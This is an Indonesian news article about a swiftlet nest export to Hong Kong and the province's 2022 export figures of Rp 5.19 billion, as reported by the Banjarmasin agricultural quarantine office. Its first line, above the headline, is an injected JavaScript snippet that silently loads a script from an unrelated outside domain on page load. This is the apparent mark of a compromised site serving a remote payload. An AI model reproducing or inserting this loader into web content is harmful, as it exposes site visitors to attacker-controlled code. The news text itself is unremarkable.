(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hingga Juni 2022 Ekspor Sarang Burung Walet Kalsel Tembus Rp 5,19 Miliar


KANALKALIMANTAN.COM, BANJARBARU – Karantina Pertanian Banjarmasin kembali memfasilitasi ekspor 50 kilogram Sarang Burung Walet (SBW) tujuan negara Hongkong milik PT AGA, dengan total nilai sebesar Rp 787,5 juta di Kantor Karantina Pertanian Banjarmasin, Wilayah Kerja Bandara Syamsudin Noor Banjarbaru, Selasa (7/6/2022).

Kepala Karantina Pertanian Banjarmasin, Nur Hartanto mengatakan, saat ini Kalimantan Selatan memiliki 155 rumah walet yang sudah teregistrasi oleh Badan Karantina Pertanian dan SBW yang diekspor berasal dari rumah walet tersebut.

“SBW yang diekspor dari Kalimantan Selatan merupakan SBW yang berasal dari rumah-rumah burung walet dan kami dari Karantina Pertanian Banjarmasin telah melakukan serangkaian tindakan karantina untuk memastikan bahwa SBW yang diekspor telah memenuhi persyaratan teknis Internasional atau Sanitary and Phytosanitary Measures, serta protokol negara tujuan,” ujarnya.

Nur Hartanto mengungkapkan bahwa persyaratan ekspor SBW secara umum sangat mudah. Ia menekankan bahwa yang boleh diekspor hanya SBW yang sudah bersih, tidak dalam bentuk kotor. Artinya sudah melalui proses pembersihan terlebih dahulu, baik dari bulu burung walet maupun kotoran lain yang menempel.

 

 

Baca juga: Besok, 147 Desa di Kotabaru Gelar Pilkades Serentak 

Dikatakan Nur Hartanto, mengacu pada data dari sistem otomasi perkarantinaan atau IQFAST terjadi peningkatan yang signifikan pada ekspor SBW di Kalimantan Selatan. Tercatat, hingga awal Juni 2022 telah mencapai 321 kilogram dengan nilai total hingga Rp 5,19 miliar. Sedangkan untuk periode yang sama di tahun 2021, ekspor SBW sebanyak 11 kilogram dengan total nilai Rp 181 juta.

“Karantina Pertanian Banjarmasin akan terus memberikan dukungan dan apresiasi kepada eksportir dan calon eksportir baik melalui bimbingan teknis maupun kemudahan dalam pengurusan dokumen karantina,” tambah Nur.

Lebih lanjut Nur Hartanto mengatakan, sepanjang tahun 2022, Karantina Pertanian Banjarmasin telah melakukan sertifikasi kegiatan ekspor komoditas pertanian sebanyak 537 kali dengan total volume hingga 160.000 ton senilai lebih dari Rp 3 triliun. Hal ini tidak terlepas dari sinergi dan kolaborasi yang sangat baik antara Karantina Pertanian, Bea Cukai, pemerintah daerah, Angkasa Pura, Garuda Indonesia dan eksportir sehingga pelaksanaan ekspor di Kalimantan Selatan terus meningkat.

Direksi PT AGA, Hery Gema mengungkapkan, pihaknya sangat berterima kasih kepada Karantina Pertanian Banjarmasin yang sudah membantu dan berperan penting dalam melakukan bimbingan dan monitoring, serta evaluasi terhadap rangkaian proses di tempat pemrosesan sarang burung walet milik mereka. Sehingga kualitas SBW yang mereka hasilkan layak dan aman dikonsumsi serta memenuhi persyaratan negara tujuan. Pihaknya juga berharap, selain dapat meningkatkan volume ekspor, juga dapat menambah negara tujuan ekspor.

Baca juga: Proyek Penataan Kawasan Sekumpul Bermasalah, Pemkab Banjar Tak Terima Hibah Rusak

Terpisah, Kepala Badan Karantina Pertanian, Ir Bambang MM mengungkapkan, sarang burung walet merupakan salah satu komoditas ekspor yang mempunyai nilai jual tinggi. Selain itu juga menjadi salah satu komoditas ekspor strategis nasional yang mengalami peningkatan permintaan setiap tahunnya dari berbagai negara tujuan ekspor.

“Secara nasional, kami mencatat volume ekspor SBW tahun 2020 hingga 2021 menunjukan tren positif, volume ekspor SBW pada tahun 2021 meningkat sebesar 14% dibandingkan pencapaian volume ekspor tahun 2020,” katanya.

Hal ini sesuai dengan arahan Menteri Pertanian, Syahrul Yasin Limpo (SYL) untuk terus meningkatkan ekspor pertanian Indonesia melalui program Gerakan Tiga Kali Lipat Ekspor (Gratieks) Kementerian Pertanian.

 

 

Sebagai informasi, berdasarkan data dari Indonesian Trade Promotion Centre (ITPC) Vancouver, 2017 – Kementerian Perdagangan, Indonesia merupakan produsen SBW terbesar di dunia yang memasok lebih dari 78 persen kebutuhan pasar dunia. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

20 menit ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

49 menit ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

2 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

2 jam ago

Srikandi PLN UPT Palangkaraya Mengajar di SDN 5 Bukit Tunggal

KANALKALIMANTAN.COM, PALANGKARAYA – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Palangkaraya melalui gugus tugas Srikandi… Read More

5 jam ago

Pemkab HSU Gelar Peringatan Harkitnas

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memimpin upacara peringatan… Read More

5 jam ago

This website uses cookies.